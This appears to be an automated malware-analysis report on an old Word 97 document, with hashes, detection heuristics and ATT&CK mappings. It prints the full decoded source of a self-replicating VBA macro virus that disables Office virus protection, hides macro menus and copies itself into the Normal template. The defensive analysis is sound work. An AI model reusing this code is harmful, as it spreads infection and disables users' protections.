Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 63336332b3fd7434…

MALICIOUS

Office (OLE)

29.0 KB Created: 1998-04-18 20:50:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-24
MD5: 685cc4b77b2fae35c786661e420ab6f0 SHA-1: 5a8671d262027a9aad53fa7b5da6f113f5601a22 SHA-256: 63336332b3fd743494b194328db1c331f66d8754c3cd17b00ffc4708bbdf9314
236 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1553.005 Security Software Installation

The sample contains VBA macros that attempt to disable macro virus protection and replicate themselves into the Normal template and the active document. The AutoOpen, AutoClose, AutoExit, and AutoExec subroutines all call AutoOpen, indicating a strong focus on persistence and spread. The script also attempts to export its own code to 'c:\X.VIC', suggesting an attempt to establish persistence or facilitate further infection.

Heuristics 6

  • ClamAV: Doc.Trojan.Cross-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cross-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1455 bytes
SHA-256: 4ccf203b69ddcf3981860a646db3c02c77eabfe1c04964cac4e95a55facc2ef9
Detection
ClamAV: Doc.Trojan.Cross-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "X"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
Application.VBE.ActiveVBProject.VBComponents("X").Export "c:\X.VIC"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "X" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "X" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set SexR = NormalTemplate.VBProject _
Else If ActivInstall = False And NormInstall = True Then Set SexR = ActiveDocument.VBProject
With SexR
With .VBComponents.Import("c:\X.VIC")
End With
End With
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
' seXr-1.Poppy (Fast, Small, Full Stealth and SR-1 Compatable)
' by VicodinES
End Sub
Sub AutoClose()
Call AutoOpen
End Sub
Sub AutoExit()
Call AutoOpen
End Sub
Sub AutoExec()
Call AutoOpen
End Sub

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